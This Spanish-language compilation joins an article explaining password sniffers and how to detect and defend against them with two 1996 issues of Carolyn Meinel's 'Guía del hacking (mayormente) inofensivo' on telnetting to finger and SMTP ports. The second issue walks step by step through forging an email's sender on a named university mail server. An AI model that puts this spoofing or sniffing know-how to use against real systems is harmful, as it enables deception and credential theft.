Vamos a ver técnicas que permiten robar claves de acceso de forma remota. Ya adelantábamos en números anteriores que, si no se toman las medidas oportunas, a través de la Red viajan innumerables contraseñas en texto plano y sin encriptar o, dicho de otra forma, listas para utilizar. SNIFFING Quien haya leído un comic alguna vez habrá observado que, cuando se quiere representar a alguno de los personajes llorando o sollozando, se utiliza la palabra inglesa snif. Durante muchos años pensé que esa palabra signifcaba llorar pero al cabo de un tiempo me enteré de que su verdadero significado era algo así como sorber. Un sniffer es un programa que sorbe datos de la red. Todo lo que pasa por delante de sus narices lo absorbe y lo almacena para su análisis posterior. De esta forma, sin poseer acceso a ningún sistema de la red, se puede obtener información, claves de acceso o incluso mensajes de correo electrónico en el que se envían estas claves. La forma más habitual de sniffing, probablemente porque está al alcance de cualquiera, es la que podríamos llamar sniffing por software, utilizando un programa que captura la información de la red. También es posible hacer lo que podríamos llamar sniffing hardware, que pasaría por pinchar en un cable de red un dispositivo que permita capturar el tráfico. Con relación a este último tipo, la expresión "pinchar el cable de red" es una expresión general que incluye el propio hecho de conectar un dispositivo a un cable de la red pero también incluye, por ejemplo, un receptor de radio que se sitúa en medio de un radioenlace. Como os podéis imaginar, este tipo de técnicas requiere de unos conocimientos de electrónica adicionales muy importantes. En este artículo vamos a tratar lo que hemos llamado sniffers software, ya que existe una gran cantidad de ellos y el lector podrá probarlos, detectarlos y eliminarlos en su propia casa sin necesidad de molestar a nadie. IDEA GENERAL Como acabamos de decir, un sniffer captura todos los paquetes que pasan por delante de la máquina en la que está instalado. Esto quiere decir que un sniffer no es un objeto mágico que una vez lanzado puede ver todo lo que sucede en la red. Dicho de otra forma, un usuario que se conecte a Internet vía módem e instale un sniffer en su máquina sólo podrá capturar los paquetes de información que salgan o lleguen a su máquina. El entorno en el que suele ser más efectivo este tipo de programas es en una Red de Área Local (LAN), montada con la topología tipo bus. En este tipo de redes todas las máquinas están conectadas a un mismo cable, que recibe el nombre de bus, y por lo tanto, todo el tráfico transmitido y recibido por todas las máquinas que pertenecen a esa red local pasa por ese cable compartido, lo que en la terminología de redes se conoce como el medio común.

2 El otro entorno natural de los sniffers es una máquina víctima. En este caso, es necesario tener acceso a la máquina victima para instalar el programa y el objetivo perseguido aquí es robar información que permita el acceso a otras máquinas, a las que habitualmente se accede desde esa máquina víctima. Los sniffers funcionan por una sencilla razón: muchos de los protocolos de acceso remoto a las máquinas se transmiten las claves de acceso como texto plano, y por lo tanto, capturando la información que se transmite por la red se puede obtener este tipo de información y el acceso ilegítimo a una determinada máquina. REDES DE AREA LOCAL Como acabamos de comentar, uno de los entornos naturales para un sniffer es una LAN con topología de bus. Las redes más comunes de este tipo son las conocidas como buses Ethernet. Estas redes están formadas por una serie de máquinas, cada una de ellas equipada con una tarjeta de red Ethernet y conectadas a través de un cable coaxial, similar al utilizado por las antenas de los receptores de televisión. En los extremos del bus es necesario situar lo que se conoce como terminadores, que no son otra cosa que una resistencia. Simplemente debemos saber que sin terminador la red no funciona. Cada vez que una máquina de la Lan desea transmitir un dato lo hace a través de ese cable al que están conectadas todas las máquinas, por lo que todas tienen la posibilidad de ver los datos que se están transmitiendo, aunque en condiciones normales esto no sucede. Las tarjetas de red Ethernet están construidadas de tal forma que, en su modo normal de operación, sólo capturan los paquetes de datos que van dirigidos hacia ellas, ignorando la información cuyo destino es otra máquina. Lo que esto significa es que, en condiciones normales, el tráfico que circula por el bus Ethernet no puede ser capturado y es necesario activar un modo especial de funcionamiento de la tarjeta conocido como modo promiscuo. En este modo, la tarjeta de red captura todos los paquetes que pasan por el bus en el que está pinchada y éste es el modo de operación que un sniffer necesita para llevar a cabo su finalidad. TOPOLOGIA DE RED Una primera medida a tomar frente a la instalación de sniffers es una LAN con topología en estrella. Esta topología o forma de red es distinta al bus. Ahora, todas las máquinas se conectan a un único aparato, lo que se conoce como un concentrador o hub. De esta forma, sólo existe una máquina en cada uno de los cables que componen la red. Si el hub instalado es del tipo conocido como inteligente, el sniffer es totalmente inútil. Un hub inteligente sabe en qué lugar está cada una de las máquinas de la LAN. Cuando recibe un paquete de datos para una de sus máquinas, lo retransmite únicamente por el cable en el que ésta está conectada, de forma que un sniffer, instalado en otra máquina, jamás podrá ver ese paquete. Debemos saber que existen hubs no inteligentes, que, cuando reciben un paquete de datos, lo retransmiten a todas las máquinas que están conectadas a él. En este caso, aún con una topología en estrella, el sniffer es capaz de capturar paquetes de datos de cualquier máquina de la red. MODO PROMISCUO Como adelantábamos en la sección anterior, cuando la tarjeta o adaptador de red se configura en modo promiscuo, captura todos los paquetes que pasan por delante de él.

3

La forma más inmediata de saber si un determinado adaptador de red está en un modo promiscuo es utilizar el programa ifconfig. Este programa permite configurar los adaptadores de red instalado en una determinada máquina y obtener información de esa configuración. Cuando un adaptador de red se encuentra en modo promiscuo, ifconfigh nos informa de ello. Un intruso que rompa un sistema e instale un sniffer en él sustituirá este programa por una versión modificada, de tal forma que no muestre el estado en modo promiscuo de la interfaz de red. Como veíamos en ese mismo artículo, para evitar esto podemos utilizar versiones del programa limpias, por ejemplo, algunas que hayamos grabado en un disco justo después de instalar el sistema, o utilizar herramientas propias para identificar este tipo de situaciones. Los lectores interesados pueden estudiar el código fuente del paquete ifconfig para ver cuál es la forma de obtener esta información. Es necesario utilizar llamadas al sistema de bajo nivel y por esa razón no vamos a incluir en este artíuclo un programa que lo haga. Existen en Internet varios programas, además de ifconfig, que permiten detectar sniffers que utilizan el modo promiscuo. Como último comentario sobre el modo de funcionamiento promiscuo, podemos decir que en los kernel más modernos esta información puede ser obtenida a partir del sistema de ficheros /proc, lugar del que podemos obtener una enorme cantidad de información interesante sobre el sistema de red. CAPTURA DE PAQUETES En general, los sniffers capturan paquetes de la red. En una LAN con topología de bus, es posible capturar tráfico de todas las máquinas conectadas en ese bus pero, en el caso general y, como comentábamos más arriba, este tipo de programas pueden ser utilizados en cualquier entorno, probablemente con una repercusión menor pero constituyendo una brecha de seguridad igualmente importante. En muchos casos, una vez que el intruso ha conseguido el control de la máquina víctima puede optar por la instalación de un sniffer en la misma. En este caso, el sniffer permitirá al atacante robar claves de acceso a otras máquinas. Cada vez que un usuario de la máquina víctima intente una conexión, el sniffer capturará los paquetes enviados en los que se encuentra la clave de acceso en texto plano. En ocasiones se dota al sniffer de la capacidad de transmitir estos datos vía correo electrónico o permitir al atacante conectarse a un puerto concreto en la máquina víctima para recuperar los datos que el sniffer ha capturado. Este tipo de instalación se apoyará con técnicas de ocultación de procesos y de conexiones de red (para el caso en el que se permita recuperar los datos del sniffer de esta forma). Como el lector ya habrá deducido, la forma de funcionamiento de este tipo de programas suele basarse en almacenar en un fichero toda la información que ha robado, de forma que el intruso puede recuperarla en el futuro. Para evitar que estos ficheros sean demasiado voluminosos, muchos sniffers sólo capturan los primeros paquetes de la conexión, en los que se encuentran las contraseñas que se pretenden robar. Ésta es una de las razones por las que resulta conveniente no permitir el acceso como root a través de telnet a las máquinas y obligar al usuario que quiera utilizar los privilegios de root a utilizar el comando "su" una vez que está dentro. El sniffer sólo captura los primeros paquetes, con lo que obtiene el password de un usuario normal sin privilegios. Cuando este usuario ejecuta el comando "su" para convertirse en root, el sniffer ya no está capturando esa información y la clave de root permanece segura.

4

UNA POTENTE HERRAMIENTA Independientemente de los usos ilegítimos de los sniffers, este tipo de programas son una potentísima herramienta para el hacker. Cuando hablamos de los ataque DoS , vemos cómo muchos de estos ataques se basaban en modificar las cabeceras de los protocolos TCP/IP con fines destructivos. Y para construir este tipo de paquetes era necesario utilizar lo que llamamos sockets raw. Bien, los sniffers sulen trabajar en este mismo nivel, de tal forma que no sólo capturan la información asociada a los protocolos de aplicación como FTP o TELNET, sino que capturan paquetes raw y, por lo tanto, toda la información conetnida en las cabeceras TCP e IP. Muchas de estas herramientas disponen de la capacidad de interpretar estas cabeceras, e incluso las cabeceras asociadas a protocolos que se en encuentra por debajo de IP, y mostrarlas de forma más sencilla de interpretar para los seres humanos. Cuando los sniffers se utilizan de esta forma son llamados Analizadores de protocolo. Si bien, esta palabra designa a un gran conjunto de herramientas (algunas incluso hardware). Utilizados de esta forma, resultan una herramienta extremadamente potente para comprender en profundidad el funcionamiento de los protocolos de comunicaciones y , en cierto modo, visualizar, localizar y obtener una solución para ataques remotos. ALGUNOS SNIFFERS Una vez más, nuestro sistema GNU/Linux dispone de un enorme número de este tipo de herramientas. La mayoría de ellas incluidas en la práctica totalidad de las distribuciones. Quizá el sniffer más conocido y probablemente uno de los primeros disponibles para los sistemas UNIX en general es tcpdump. Este programa, una vez lanzado, captura todos los paquetes que llegan a nuestra máquina y muestra por pantalla información relativa a los mismos. Se trata de una herramienta de línea de comandos con una gran cantidad de opciones que permiten mostrar los datos de muy diversas formas. Tcpdump es una herramienta muy potente y es recomendable saber cómo usarla, auqneu como veremos a continucación existen otros sniffers más fáciles de utilizar. Sniffit también funciona en modo consola, pero ofrece un modo de ejecuión interactivo en el que se muestran las conexiones accesibles desde la máquina en la que se encuentra instalado y permite seleccionar cualquiera de ellas para la captura de paquetes, a través de una interfaz muy sencilla. Este sniffer es referenciado en varios documentos de seguridad. ETHEREAL Vamos a comentar un poco más en profundidad este sniffer o analizador de protocolo, ya que es uno de los que ofrece una interfaz más sencilla de utilizar y permite visualizar los contenidos de las cabeceras de los protocolos involucrados en una comunicación de una forma muy cómoda. Ethereal funciona en modo gráfico y está porgramado con la librería de controles GTK. La ventana principal de la aplicación se divide en tres partes. En la primera parte se muestra la información más relevante de los paquetes capturados, como, por ejemplo, las direcciones IP y puertos involucrado en la comunicación. Seleccionando un paquete en esta sección podemos obtener información detallada sobre él en las otras dos secciones de la pantalla que comentaremos a continuación.

5 En la parte central de la ventana se muestra, utilizando controles tree, cada uno de los campos de cada una de las cabeceras de los protocolos que ha utilizado el paquete para moverse de una máquina a la otra. Así, si hemos capturado una serie de paquetes de, por ejemplo, una conexión telnet, podremos ver las cabeceras del protocolo TCP, del IP y de los que tengamos debajo de ellos (Ethernet Frame, por ejemplo, en una red Ethernet). La tercera parte de la ventana muestra un volcado hexadecimal del contenido del paquete. Seleccionando cualquier campo en la parte central de la ventana se mostrarán en negrita los datos correspondientes del volcado hexadecimal, los datos reales que están viajando por la red. Otra de las opciones interesantes que ofrece este programa es la de seguimiento de flujos TCP (Follow TCP Stream). Esta opción permite, una vez seleccionado un paquete de entre los capturados, recuperar sólo los paquetes asociados a la misma conexión que el seleccionado. Esta opción es muy útil, ya que el sniffer captura todos los paquetes y si en un moemento dado existen varias conexiones distintas los paquetes de todas ellas aparecerían entremezclados. MEDIDAS A TOMAR Lo primero que debemos recordar es que, tanto para activar el adaptador de red en modo promiscuo, como para crear sockets raw, el intruso debe ser root. Todo lo visto en los artículos anteriores es aplicable, pero vamos a hacer algunos comentarios específicos para el caso de los sniffers. En primer lugar, ya hemos visto que una topología en estrella con concentradores inteligentes es una configuración más apropiada para evitar la instalación de sniffers. Otra medida frente a los sniffers en modo promiscuo es instalar adaptadores de red que no permitan ser configurados en este modo, ya que existen este tipo de dispositivos. Esta opción no es buena opción para los estudiosos de las redes, ya que imposibilita la utilización de este tipo de herramientas que, cómo veíamos, son de un valor didáctico muy importante. Como vimos, el comando ifconfig nos permite saber si algún adaptador de red de nuestra máquina está configurado en este modo. Este comando puede estar modificado, por lo que debemos utilizar una versión limpia del comando y a poder ser del sistema. Si el sniffer no se ha ocultado convenientemente, las herramientas de monitorización mostrarán el proceso que se está ejecutando, el fichero donde se están grabando los datos y la conexión de red. Una medida bastante drástica consiste en recompilar el kernel de forma que no ofrezca soporte para poner los adaptadores de red en modo promiscuo. Es una solución drástica, al igual que la adquisición de una tarjeta de red que no soporte este modo, ya que como veiamos en una sección anterior el uso de estos programas puede ser realmente útil, tanto para comprender el funcionamiento de las redes de ordenadores como para analizar distintos ataques que se pueden llevar a cabo contra nuestra máquina. Por otra parte, esta limitación del kernel nada puede hacer frente a un programa capturador de paquetes como los comentados más arriba. MAS MEDIDAS. CRIPTOGRAFIA. El otro grupo de medidas que se puede tomar contra los sniffers es la utilización de técnicas criptográficas. En este caso, la idea es que aunque no se pueda evitar la captura de paquetes por parte del sniffer, al menos la información capturada por éstos sea virtualmente inútil, al estar codificada mediante algún tipo de algoritmo criptográfico.

6 Una de las técnicas habitualmente utilizadas es la conocida como one-time passwords o contraseñas de una sola vez. Lo que buscan estas técnicas es evitar el uso continuo de las mismas contraseñas por parte de los usuarios de tal forma que, aunque ésta sea capturada por un intruso, cuando intente utilizarla nuevamente será totalmente inútil. Otros sistemas basan su funcionamiento en no enviar información importante a través de la red (como son los passwords), sino que solamente se transmiten información que por sí misma no tiene ningún valor a no ser que se convine con otra (por ejemplo, autentificación de ambos extremos a través de criptografía de clave pública, credenciales, sellos temporales, etc). La información importante es utilizada por los dos extremos de la comunicación (cliente y servidor), pero nunca viaja a través de la red. Quizá el ejemplo más clásico de la utilización de técnicas criptográficas sea el paquete SSH. Este paquete de software permite las conexiones remotas y otras funciones (transferencia de archivos, por ejemplo), al igual que lo hace telnet pero codificando la información que se transmite por la red y ofreciendo un método de autentificación de los extremos de la comunicación. El hecho de que la información viaje codificada a través de la red hace que los datos capturados por un posible sniffer no puedan ser utilizados por un atacante. Existen otras soluciones criptográficas, como por ejemplo, Kerberos, pero son más complejas y costosas. Ya hemos visto que el programa ifconfig es uno de los que podemosu utilizar para detectar tarjetas o adaptadores de red en modo promiscuo. Un programa de similares funcionalidades muy referenciado es CPM (Check Promiscuous Mode, en castellano: Comprueba Modo Promiscuo). Su utilización es muy sencilla, simplemente hay que ejecutarlo. Otra herramienta de gran interés para la detección de sniffers, aunque realmente se trata de una aplicación tremendamente útil para la detección de intrusos en general, es lsoft (LiSt Open Files o Lista de ficheros abiertos). Este programa muestra una lista de todos los ficheros abiertos en el sistema proporcionando mucha información adicional sobre ellos (proceso que los ha abierto, nombre de los ficheros, tipo, etc.). Recordemos que en los sistemas UNIX virtualmente todo es un fichero, lo que significa que este programa mostrará, además de los ficheros abiertos propiamente dichos, dispositivos de entrada/salida, sockets, etc. . Autor ; Darckman

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 1 Número 1 Asunto de este documento: cómo hacer finger de un usuario vía telnet.

Hacking. La palabra evoca a diabólicos genios de los ordenadores conspirando la caída de la civilización mientras están sacando billones en fondos robados electrónicamente de cualquier banco. Pero yo defino hacking como una aproximación divertida y aventurada a los ordenadores. Los hackers no siguen el guión marcado. Nosotros bromeamos y probamos cosas extrañas, y cuando tropezamos con algo realmente entretenido, se lo contamos a nuestros amigos. Algunos de nosotros puede que seamos tramposos o retorcidos, pero más normalmente somos buenos chicos, o al menos inofensivos. Además, el hacking es sorprendentemente fácil. Hoy tendrás una oportunidad de comprobarlo por ti mismo! Olvidando la razón por la que quieras ser un hacker, es definitivamente un camino para tener diversión, impresionar a tus colegas, y conseguir citas. Si eres una chica-hacker, serás totalmente irresistible para todos los hombres. Cree en lo que te digo! ;^D Entonces, ¿qué necesitas para convertirte en un hacker? Antes de que te lo diga, sin embargo, voy a someterte a una prueba. ¿Has enviado alguna vez un mensaje a un newsgroup o a una lista de correo dedicada al hacking? Dijiste algo como "¿Qué necesito para convertirme en un hacker?" ¿O no? Pues mejor que no hagas *eso* ¡nunca más! Te da una idea de lo que "flame" significa, verdad? Sí, a algunos de estos tíos 311te les gusta flamear a los newbies. Ellos actúan como si hubiesen nacido sujetando un manual de UNIX en una mano y un doc sobre especificaciones TCP/IP en la otra y cualquiera que sepa menos que ellos es escoria.

Newbie-Nota: 311t3, 31337, etc. , todo significa "élite". La idea es tomar la palabra "elite" o "eleet" y sustituir con números algunas o la totalidad de las letras. También nos gustan las Zs. Los hackers suelen hacer 3zta clase de c0zaz a m3nud0.

Ahora puede que est‚s haciendo una verdadera llamada de ayuda. Pero hay una razón por la que muchos hackers enseguida flamean a los extraños que piden ayuda. Lo que a nosotros nos preocupa es esa clase de tíos que dicen, "Quiero ser un hacker. Pero *no* quiero tener que aprender programación y sistemas operativos. ¡Dame algún password, d00dz! Sí, y números de tarjetas de crédito!!!" Honestamente, he visto esta clase de mensajes en groups de hackers. Envía algo de eso y prepárate la mañana siguiente cuando te levantes y descubras tu buzón electrónico lleno con 3,000 mensajes desde algún grupo de discusión sobre riego en agricultura, ebanistería, coleccionismo de obras de Franklin Mint, etc., Etc., etc., etc. arrrgghhhh! La razón por la que nos preocupan los wannabe-hackers (los que quieren ser hackers) es que es posible acceder al ordenador de otras personas y hacer daños serios incluso si eres casi un total ignorante. ¿Cómo puede un newbie sin la menor idea destrozar el ordenador de otra persona? Fácil. En Internet existen Webs y FTP públicos en los que se almacenan programas de hacking. Gracias a todas esas herramientas almacenadas en esos lugares, muchos de los "hackers" sobre los que lees que son atrapados son en realidad newbies que no tienen ni puñetera idea. Este documento te enseñará cómo hacer hacking real, además de legal e inofensivo, sin tener que acudir a esas herramientas de hacking. Pero no te enseñar‚ cómo dañar ordenadores ajenos. Ni tampoco cómo entrar en lugares a los que no perteneces.

Puedes-Ir-A-La-Cárcel-Nota: Incluso si no haces ningún daño, si penetras en una parte de un ordenador que no est abierta al público, has cometido un crimen.

Me centraré en hacking en Internet. La razón es que cada ordenador de Internet tiene alguna clase de conexión pública con el resto de la Red. Lo que esto significa es que si usas los comandos apropiados, puedes entrar *legalmente* a estos ordenadores.

Eso, por supuesto, es lo que ya haces cuando visitas un Web-site. Pero yo te enseñaré cómo acceder y usar Internet hosts de modos que la mayoría de la gente no creía que fueran posibles. Además, serán "hacks" divertidos. De hecho, pronto estarás aprendiendo trucos que arrojarán algo de luz sobre cómo otra gente puede acceder a partes no-públicas de hosts. Y serán trucos que cualquiera puede hacer. Pero hay una cosa que realmente necesitarás conseguir. Te hará el hacking infinitamente más fácil: UNA CUENTA SHELL!!!! Una "cuenta shell" es una cuenta en Internet por la que tu ordenador se convierte en un terminal de uno de los hosts de tu PSI (Proveedor de Servicios de Internet). Una vez que estés en la "shell" puedes darle comandos al sistema operativo Unix justo como si estuvieses sentado delante de uno de los hosts de tu PSI. Cuidado: el personal técnico de tu PSI puede decirte que tienes una "cuenta shell" cuando en realidad no la tienes. A muchos PSIs no les gustan las cuentas shell. Te preguntas ¿por qué? Si no tienes una cuenta shell, no puedes hackear! Pero puedes averiguar fácilmente si se trata de una cuenta shell. Primero, debes usar un programa de "emulación de terminal" para hacer log (identificarte). Necesitarás un programa que te permita emulación de terminal VT100. Si tienes Windows 3.1 o Windows 95, un programa de terminal VT100 se incluye en los programas de accesorios. Cualquier PSI medianamente bueno te permitirá unos días de prueba con una cuenta guest. Consigue una y entonces prueba unos cuantos comandos Unix para asegurarte de que realmente se trata de una cuenta shell. No conoces el Unix? Si eres serio (o quieres serlo) sobre la comprensión del hacking, necesitar s buenos libros de referencia. No, no me estoy refiriendo a esos con un título tan apasionado como "Secretos del Super Hacker". He comprado muchos de esos libros. Est n llenos de aire caliente y poca información práctica. Los hackers serios estudian libros sobre:   

Unix. A mí me gusta "The Unix Companion" de Harley Hahn. Shells. Recomiendo "Learning the Bash Shell" de Cameron Newham y Bill Rosenblatt. "Shell" es el interfaz de comandos entre el sistema operativo Unix y t£. TCP/IP, que es la serie de protocolos que hacen que Internet funcione. Me gusta "TCP/IP for Dummies" de Marshall Wilensky y Candace Leiden.

OK, la prueba ha finalizado. Es hora de hackear! ¿Cómo te gustaría empezar tu carrera de hacking con uno de los más simples aunque potencialmente peligrosos hacks de Internet? Aquí viene: hacer telnet a un puerto finger.

¿Has usado alguna vez el comando finger antes? Finger te dará en algunas ocasiones un buen montón de cosas sobre otra gente en Internet. Normalmente sólo tienes que teclear el comando: finger [email protected] Pero en lugar de la de Joe Schmoe, tienes que poner la dirección de email de alguien del que quieras conocer información. Por ejemplo, mi dirección de correo electrónico es [email protected]. Para hacerme finger a mí, hay que teclear: finger [email protected] A continuación este comando puede que te diga algo, o puede fallar dándote un mensaje como "acceso denegado". Pero hay un modo de hacer finger que gusta más a la élite. Puedes teclear el comando: telnet llama.swcp.com 79 Lo que acaba de hacer este comando es dejarte entrar en un ordenador que tiene como dirección de Internet llama.swcp.com a través de su puerto 79 (sin tener que dar un password). Pero el programa que llama y muchos otros hosts de Internet utilizan te permitirá introducir UN solo comando antes de cerrar automáticamente la conexión. Teclea el comando: cmeinel Esto te dirá un secreto de hacker sobre por qué el puerto 79 y sus programas finger son más importantes de lo que en un principio podías imaginar. O, coño, puede que sea algo más si la amable vecindad hacker está todavía sembrando hirientes en mis archivos. Ahora, para un bonus-hacking extra, prueba a hacer telnet por otros puertos. Por ejemplo: telnet kitsune.swcp.com 13 Eso te dará la hora y la fecha en Nuevo México, y: telnet.slug.swcp.com 19 Hará que pases un rato divertido! OK, me despido ya por este documento. Y prometo decirte más sobre el gran asunto que es hacer telnet para usar el finger, pero más tarde. Feliz Hacking!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final. Para suscribirse, email [email protected] con el mensaje "subscribe hacker <[email protected]>" sustituyendo tu dirección de correo electrónico real por la de Joe Blow.

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol.1 N£mero 2 En este documento vamos a aprender cómo divertirnos con el email (y como detectar diversiones de otros ;) ). Lo prometo, este hack es espectacularmente fácil!

Hacking Heroico en media hora ¿Cuánto te gustaría dejar alucinados a tus amigos? OK, ¿qué cosa crees que es la que mas hasta las narices están de hacer los superhackers? La respuesta es conseguir acceso no autorizado a un ordenador, correcto? Entonces ¿cuánto te gustaría ser capaz de obtener acceso y hacer funcionar un programa en alguno de los millones de ordenadores conectados a Internet? Te gustaría acceder a estos ordenadores de Internet casi igual que al m s notable hacker de la historia: Robert Morris! Fue su "Morris Worm" ("Gusano de Morris") el que derribó Internet en 1990. Por supuesto, el fallo que el aprovechó para llenar el 10% de los ordenadores en Internet con su auto-mailing virus ha sido arreglado ya, por lo menos en la gran mayoría de los hosts. Pero incluso ahora Internet todavía guarda toneladas de diversión, juegos y bugs escondidos en su interior. De hecho, lo que estamos a punto de aprender es el primer paso de varios de los modos más comunes que utilizan los hackers para entrar en áreas privadas de ordenadores. Pero yo no voy a enseñarte a acceder a zonas privadas de ordenadores. Suena demasiado asqueroso. Además, soy alérgico a la cárcel. Por lo tanto, lo que estás a punto de aprender es legal, inofensivo, e incluso tremendamente divertido. No hacen falta juramentos de sangre entre tú y tus colegas para no testificar que has hackeado eso, sencillamente es legal. Pero, para hacer este hack necesitas un servicio online que te permita hacer telnet por un puerto específico a un host de Internet. Netcom, por ejemplo, te dejará hacer esto sin problemas. Pero Compuserve, America Online y muchos otros PSIs (Proveedores de Servicios de Internet) son digamos como grandes niñeras que te apartarán de la tentación de hacer esto.

El mejor camino para hacer este truco es con una CUENTA SHELL! Si no tienes una, consíguela ya!

Nota-para-el-Newbie #1; Una cuenta shell es una cuenta Internet que te permite utilizar comandos Unix. El Unix es muy parecido al DOS. Hay un prompt en tu pantalla y tienes que teclear los comandos. El Unix es el lenguaje de Internet. Si quieres ser un hacker serio, tienes que aprender Unix.

Incluso si nunca has usado telnet antes, este hack es super simple. De hecho, incluso aunque lo que vas a aprender parezca hacking de la clase más heroica, puedes dominarlo en media hora o menos. Y sólo necesitas memorizar *dos* comandos. Para averiguar si tu Proveedor de Servicios de Internet te permite hacer el truco, prueba este comando: telnet callisto.unm.edu 25 Es un ordenador de la universidad de Nuevo México. Mi cuenta Compuserve empieza a echar humo cuando pruebo esto. Simplemente me echa fuera de telnet diciéndome poco más que "tsk, tsk". Pero al menos hoy Netcom me permitirá utilizar ese comando. Y sólo con cualquier "cuenta shell" barata ofrecida por cualquier PSI podrás utilizarlo. Muchas cuentas de institutos de secundaria y universidades te dejarán también hacerlo sin problemas.

Nota-para-el-Newbie #2: Cómo Conseguir Cuentas Shell Prueba en las páginas amarillas del teléfono, en el apartado Internet. Llama y pregunta por "cuenta shell". Seguramente te dirán: "Seguro, no hay problema." Pero cientos de veces están mintiendo. Piensan que eres demasiado estúpido como para saber qué es una cuenta shell real. O puede que la infra-pagada persona con la que hablas no tenga ni idea. El modo de solucionar esto es preguntar por una cuenta guest temporal (gratis). Cualquier PSI medianamente decente te dará un periodo de prueba. Cuando la tengas intenta hacer lo que aquí se explica.

OK, demos por hecho que posees una cuenta que te permite hacer telnet a algún sitio serio. Volvamos al comando de antes: telnet callisto.unm.edu 25 Si has hecho telnet alguna vez, probablemente pusiste el nombre del ordenador que planeabas visitar, pero no añadiste ningún número detrás. Pues resulta que esos números detrás son los causantes de la primera distinción entre el bondadoso y aburrido ciudadano de Internet y alguien descendiendo por la resbaladiza (y emocionante) pendiente del hackeo. Lo que ese 25 significa es que estás ordenando a telnet a llevarte a un puerto específico de la víctima deseada, er, su ordenador.

Nota-para-el-Newbie #3: Puertos Un puerto de ordenador es un lugar donde la información entra y sale de él. En el ordenador que tienes en casa, ejemplos de puertos son tu monitor, que manda información hacia afuera (output), tu teclado y el ratón, que mandan información hacia adentro (input), y tu módem, que envía información en ambos sentidos. Pero un ordenador host de Internet como callisto.unm.edu tiene muchos más puertos que un típico ordenador casero. Estos puertos están identificados por números. En este caso no todos son puertos físicos, como un teclado o un puerto de serie RS232 (el de tu módem). Aquí son puertos virtuales (de software).

Pero ese puerto 25 oculta diversión en su interior. Diversión increíble. Verás, en cualquier momento que hagas telnet al puerto 25 de un ordenador, obtendrás uno de estos dos resultados: una vez durante algún tiempo, un mensaje diciendo "acceso denegado" como cuando atacas un firewall. Pero, m s fácilmente verás algo como esto: Trying 129.24.96.10... Connected to callisto.unm.edu. Escape character is `^]ï. 220 callisto.unm.edu Smail3.1.28.1 #41 ready at Fri, 12 Jul 96 12:17 MDT Hey, échale un vistazo a eso! No nos pide que hagamos log (identificarnos).

Sólo dice...preparado! Nota que est usando Smail3.1.28.1, un programa usado para redactar y enviar correo electrónico. Oh dios mío, ¿qué hacemos ahora? Bueno, si realmente quieres parecer sofisticado, la siguiente cosa que tienes que hacer es pedirle a callisto.unm.edu que te diga qué comandos puedes usar. En general, cuando accedes a un ordenador extraño, como mínimo uno de tres comandos te ofrecerán información: "help", "?" o "man". En este caso tecleo: help ...y esto es lo que obtengo: 250 Los siguientes comandos SMTP son reconocidos: 250 250 HELO hostname arranca y te da tu hostname 250 MAIL FROM:<sender access> comienza una transmisión desde el "enviante" 250 RCPT TO: llama al destinatario para un mensaje 250 VRFY
verifica el reparto de email de una dirección 250 EXPN
expande la dirección de una lista de correo 250 DATA comienza a mostrar el texto de un mensaje de correo 250 RSET hace un reset, interrumpe la transmisión 250 NOOP no hace nada 250 DEBUG [level] fija el nivel de debugging, por defecto 1 250 HELP produce este mensaje de ayuda 250 QUIT cierra la conexión SMTP La secuencia normal de las acciones para enviar mensajes es fijar la dirección a la que se envía con un comando MAIL FROM, mandar al destinatario todos los comandos RCPT TO que sean requeridos (una dirección por comando) y entonces especificar el texto del mensaje del mensaje después del comando DATA. Pueden utilizarse mensajes múltiples. Para finalizar teclear QUIT.

Obtener esta lista de comandos es bastante agradable. Te hace sentir realmente bien porque sabes cómo hacer que el ordenador te diga cómo hackearlo. Y eso significa que todo lo que tienes que memorizar es "telnet 25" y los comandos de "ayuda". Para el resto, puedes simplemente teclearlos y ver qué ocurre cuando estás conectado. Incluso si tu memoria es tan mala como la mía, te aseguro que puedes aprender y memorizar este hack en sólo media hora. Joder, puede que hasta en medio minuto. OK, entonces ¿qué hacemos con estos comandos? S¡, lo adivinaste, este es un programa de email muy primitivo. ¿Y puedes adivinar cómo utilizarlo sin tener que hacer log? Te preguntas por qué fue ese el punto débil que permitió a Robert Morris reventar Internet. El puerto 25 mueve el email desde un nodo al siguiente a través de Internet. Automáticamente recoge el email entrante y si ese email no pertenece a nadie que posea un dirección de correo en ese ordenador, lo manda al siguiente ordenador en la red, para dirigirse hacia la persona a la que pertenece esa dirección de correo. En ocasiones el email irá directamente desde el remitente al destinatario, pero si tu mandas un mensaje a alguien que esté demasiado lejos o si Internet está colapsada por el tráfico en ese momento, puede ser que el email pase a través de varios ordenadores. Existen millones de ordenadores en Internet que envían correo electrónico. Y tu puedes acceder a casi cualquiera de ellos sin necesidad de un password! Es más, como pronto aprenderás, es fácil obtener las direcciones de estos millones de ordenadores. Algunos de estos ordenadores tienen un buen sistema de seguridad, dificultando que nos podamos divertir con ellos. Pero otros tienen mucha menos seguridad. Uno de los juegos del hacking es explorar estos ordenadores para encontrar cuales de ellos se adaptan a nuestros deseos. OK, entonces ahora que estamos en el país del Morris Worm, qu‚ podemos hacer? Bueno, esto es lo que yo hice. (Mis comandos no tenían ningún número delante, lo que sucede es que la respuesta de los ordenadores va precedida de números.) helo [email protected] 250 callisto.unm.edu Hello [email protected] mail from: [email protected] 250 <[email protected]> ...Sender Okay rcpt to: [email protected] 250 ...Recipient Okay data

354 Introduzca el mensaje, termine con "." en una línea solo Funciona!!! . 250 Mail aceptado Lo que ha pasado aquí es que me mandé un email falso a mí mismo. Ahora echemos un vistazo a lo que tengo en mi buzón, mostrando el encabezamiento completo: Esto es lo que obtuve usando la versión freeware de Eudora: X POP3 Rcpt: cmeinel@socrates Esta línea nos dice que X-POP3 es el programa de mi PSI que recibió mi email, y que mi email entrante es manejado por el ordenador Socrates.

Consejo de Endiablado Ingenio: el email entrante est manejado por el puerto 110. Prueba a hacer telnet por ahí algún día. Pero normalmente POP, el programa que funciona en el 110, no te ofrecerá comandos de ayuda y te echará sin contemplaciones al más mínimo movimiento en falso.

Return Path (camino de retorno): <[email protected]> Esta línea de arriba es mi dirección de correo falsa. Apparently From: [email protected] Fecha: Fri, 12 Jul 96 12:18 MDT Pero nota que las líneas de encabezamiento arriba dicen "Apparently-From" ("Aparentemente-Desde"). Esto es importante porque me advierte que es una dirección falsa. Apparently To: [email protected] X Status: Funciona!!!

